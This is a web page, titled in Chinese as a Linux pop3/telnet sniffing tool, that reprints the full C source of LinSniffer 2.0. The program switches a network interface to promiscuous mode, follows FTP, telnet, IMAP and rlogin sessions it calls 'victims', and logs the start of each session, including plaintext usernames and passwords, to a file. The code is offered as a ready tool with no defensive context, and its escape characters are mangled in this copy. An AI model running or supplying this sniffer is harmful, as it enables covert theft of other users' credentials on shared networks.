linux下pop3/telnet嗅探工具

  1/*
  2LinSniffer 2.0
  3Lord Somer
  4 - now creates a pidfile when run(deletes it upon exiting)
  5 - no longer longs pop2/pop3, just uncomment the lines for em below if u wanna log them
  6 - thanks to neek for help with some of the coding
  7--- old ver info ---
  8LinSniffer 0.03 [BETA]
  9Mike Edulla
 10medulla@infosoc.com
 11*/
 12#define TCPLOG "tcp.log"
 13#define PIDFILE "sniff.pid"
 14#include <sys/types.h>
 15#include <sys/socket.h>
 16#include <sys/time.h>
 17#include <netinet/in.h>
 18#include <netdb.h>
 19#include <string.h>
 20#include <linux/if.h>
 21#include <signal.h>
 22#include <stdio.h>
 23#include <arpa/inet.h>
 24#include <linux/socket.h>
 25#include <linux/ip.h>
 26#include <linux/tcp.h>
 27#include <linux/if_ether.h>
 28#include <sys/ioctl.h>
 29int openintf(char *);
 30int read_tcp(int);
 31int filter(void);
 32int print_header(void);
 33int print_data(int, char *);
 34char *hostlookup(unsigned long int);
 35char fuckfuck[40];
 36void clear_victim(void);
 37void cleanup(int);
 38struct etherpacket
 39{
 40   struct ethhdr eth;
 41   struct iphdr  ip;
 42   struct tcphdr tcp;
 43   char buff[8192];
 44}ep;
 45struct
 46{
 47   unsigned long      saddr;
 48   unsigned long      daddr;
 49   unsigned short     sport;
 50   unsigned short     dport;
 51   int                bytes_read;
 52   char               active;
 53   time_t             start_time;
 54} victim;
 55struct iphdr  *ip;
 56struct tcphdr *tcp;
 57int s;
 58FILE *fp;
 59#define CAPTLEN 512
 60#define TIMEOUT 30
 61int openintf(char *d)
 62{
 63   int fd;
 64   struct ifreq ifr;
 65   int s;
 66   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
 67   if(fd < 0)
 68   {
 69      perror("cant get SOCK_PACKET socket");
 70      exit(0);
 71   }
 72   strcpy(ifr.ifr_name, d);
 73   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
 74   if(s < 0)
 75   {
 76      close(fd);
 77      perror("cant get flags");
 78      exit(0);
 79   }
 80   ifr.ifr_flags |= IFF_PROMISC;
 81   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
 82   if(s < 0) perror("cant set promiscuous mode");
 83   return fd;
 84}
 85int read_tcp(int s)
 86{
 87   int x;
 88   while(1)
 89   {
 90      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
 91      if(x > 1)
 92      {
 93         if(filter()==0) continue;
 94         x=x-54;
 95         if(x < 1) continue;
 96         return x;
 97      }
 98   }
 99}
100int filter(void)
101{
102   int p;
103   p=0;
104   if(ip->protocol != 6) return 0;
105   if(victim.active != 0)
106      if(victim.bytes_read > CAPTLEN)
107      {
108         fprintf(fp, "n----- [CAPLEN Exceeded]n");
109         clear_victim();
110         return 0;
111      }
112   if(victim.active != 0)
113      if(time(NULL) > (victim.start_time + TIMEOUT))
114      {
115         fprintf(fp, "n----- [Timed Out]n");
116         clear_victim();
117         return 0;
118      }
119   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
120   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
121/*   if(ntohs(tcp->dest)==110) p=1;  pop3 */
122/*   if(ntohs(tcp->dest)==109) p=1;  pop2 */
123   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
124   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
125/*   if(ntohs(tcp->dest)==106) p=1;  poppasswd */
126   if(victim.active == 0)
127      if(p == 1)
128         if(tcp->syn == 1)
129         {
130            victim.saddr=ip->saddr;
131            victim.daddr=ip->daddr;
132            victim.active=1;
133            victim.sport=tcp->source;
134            victim.dport=tcp->dest;
135            victim.bytes_read=0;
136            victim.start_time=time(NULL);
137            print_header();
138         }
139   if(tcp->dest != victim.dport) return 0;
140   if(tcp->source != victim.sport) return 0;
141   if(ip->saddr != victim.saddr) return 0;
142   if(ip->daddr != victim.daddr) return 0;
143   if(tcp->rst == 1)
144   {
145      victim.active=0;
146      alarm(0);
147      fprintf(fp, "n----- [RST]n");
148      clear_victim();
149      return 0;
150   }
151   if(tcp->fin == 1)
152   {
153      victim.active=0;
154      alarm(0);
155      fprintf(fp, "n----- [FIN]n");
156      clear_victim();
157      return 0;
158   }
159   return 1;
160}
161int print_header(void)
162{
163   fprintf(fp, "n");
164   fprintf(fp, "%s => ", hostlookup(ip->saddr));
165   fprintf(fp, "%s [%d]n", hostlookup(ip->daddr), ntohs(tcp->dest));
166}
167int print_data(int datalen, char *data)
168{
169   int i=0;
170   int t=0;
171   victim.bytes_read=victim.bytes_read+datalen;
172   for(i=0;i != datalen;i++)
173   {
174      if(data[i] == 13) { fprintf(fp, "n"); t=0; }
175      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
176      if(t > 75) {t=0;fprintf(fp, "n");}
177   }
178}
179main(int argc, char **argv)
180{
181   FILE *fucker;
182   fucker = fopen(PIDFILE, "w");
183   fprintf(fucker, "%dn", getpid());
184   fclose(fucker);
185   s=openintf("eth0");
186   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
187   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
188   signal(SIGHUP, SIG_IGN);
189   signal(SIGINT, cleanup);
190   signal(SIGTERM, cleanup);
191   signal(SIGKILL, cleanup);
192   signal(SIGQUIT, cleanup);
193   if(argc == 2) fp=stdout;
194   else fp=fopen(TCPLOG, "at");
195   if(fp == NULL) { fprintf(stderr, "cant open logn");exit(0);}
196   clear_victim();
197   for(;;)
198   {
199      read_tcp(s);
200      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
201      fflush(fp);
202   }
203   sprintf(fuckfuck,"rm %s", PIDFILE);
204   system(fuckfuck);
205}
206char *hostlookup(unsigned long int in)
207{
208   static char blah[1024];
209   struct in_addr i;
210   struct hostent *he;
211   i.s_addr=in;
212   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
213   if(he == NULL) strcpy(blah, inet_ntoa(i));
214   else strcpy(blah, he->h_name);
215   return blah;
216}
217void clear_victim(void)
218{
219   victim.saddr=0;
220   victim.daddr=0;
221   victim.sport=0;
222   victim.dport=0;
223   victim.active=0;
224   victim.bytes_read=0;
225   victim.start_time=0;
226}
227void cleanup(int sig)
228{
229   fprintf(fp, "Exiting...n");
230   close(s);
231   fclose(fp);
232   exit(0);
233}